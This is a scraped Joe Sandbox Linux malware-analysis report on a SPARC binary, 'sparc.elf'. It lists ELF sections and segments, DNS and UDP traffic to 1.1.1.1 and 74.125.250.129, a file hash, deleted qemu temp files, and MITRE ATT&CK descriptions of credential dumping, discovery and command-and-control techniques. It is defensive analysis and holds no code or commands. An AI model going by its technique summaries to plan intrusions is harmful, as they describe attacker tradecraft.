.got	PROGBITS	0x37314	0x17314	0x11c	0x4	0x3	WA	4
.data	PROGBITS	0x37430	0x17430	0x1dc	0x0	0x3	WA	8
.bss	NOBITS	0x37610	0x1760c	0x4218	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x1760c	0x58	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x172b8	0x172b8	6.0070	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x172b8	0x372b8	0x372b8	0x354	0x4570	3.9711	0x6	RW	0x10000	.eh_frame .tbss .ctors .dtors .jcr .got .data .bss
TLS	0x17300	0x37300	0x37300	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 15, 2024 20:27:51.540632963 CET	44057	53	192.168.2.13	1.1.1.1
Dec 15, 2024 20:27:51.690514088 CET	53	44057	1.1.1.1	192.168.2.13
Dec 15, 2024 20:27:51.691517115 CET	55140	19302	192.168.2.13	74.125.250.129
Dec 15, 2024 20:27:52.840615988 CET	19302	55140	74.125.250.129	192.168.2.13
Dec 15, 2024 20:27:52.843019009 CET	48825	53	192.168.2.13	1.1.1.1
Dec 15, 2024 20:27:52.981969118 CET	53	48825	1.1.1.1	192.168.2.13
Dec 15, 2024 20:28:05.730906963 CET	50858	53	192.168.2.13	1.1.1.1
Dec 15, 2024 20:28:05.868747950 CET	53	50858	1.1.1.1	192.168.2.13
Dec 15, 2024 20:28:05.868853092 CET	52685	19302	192.168.2.13	74.125.250.129
Dec 15, 2024 20:28:06.988173008 CET	19302	52685	74.125.250.129	192.168.2.13
Dec 15, 2024 20:28:06.989062071 CET	37928	53	192.168.2.13	1.1.1.1
Dec 15, 2024 20:28:07.127434969 CET	53	37928	1.1.1.1	192.168.2.13

Start time (UTC):	19:27:47
Start date (UTC):	15/12/2024
Path:	/tmp/sparc.elf
Arguments:	/tmp/sparc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	19:27:50
Start date (UTC):	15/12/2024
Path:	/tmp/sparc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report sparc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0aVFzS (deleted)

/tmp/qemu-open.0iYsMT (deleted)

/tmp/qemu-open.0uYxVR (deleted)

/tmp/qemu-open.0vHQpU (deleted)

/tmp/qemu-open.164wzV (deleted)

/tmp/qemu-open.1UPpBU (deleted)

/tmp/qemu-open.3jLSIS (deleted)

/tmp/qemu-open.49wPTT (deleted)

/tmp/qemu-open.4t37VR (deleted)

/tmp/qemu-open.5LzksV (deleted)

/tmp/qemu-open.5rKT5Q (deleted)

/tmp/qemu-open.68yuSU (deleted)

/tmp/qemu-open.6Os4JT (deleted)

/tmp/qemu-open.6oEWyV (deleted)

/tmp/qemu-open.7ISuGR (deleted)

/tmp/qemu-open.8s0ecT (deleted)

/tmp/qemu-open.99yRUT (deleted)

/tmp/qemu-open.9HnvDT (deleted)

/tmp/qemu-open.9RHrUT (deleted)

/tmp/qemu-open.9gRtRT (deleted)

/tmp/qemu-open.AXJLEU (deleted)

/tmp/qemu-open.BBw4cR (deleted)

/tmp/qemu-open.CHE0WS (deleted)

/tmp/qemu-open.CnUUcS (deleted)

/tmp/qemu-open.CycyCS (deleted)

/tmp/qemu-open.DC5jPU (deleted)

/tmp/qemu-open.EARyxU (deleted)

/tmp/qemu-open.FFDB6R (deleted)

/tmp/qemu-open.FhWBnU (deleted)

/tmp/qemu-open.GSiumT (deleted)

/tmp/qemu-open.GaAVoU (deleted)

/tmp/qemu-open.GpCFHT (deleted)

/tmp/qemu-open.HDlHtR (deleted)

Linux Analysis Report
sparc.elf

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre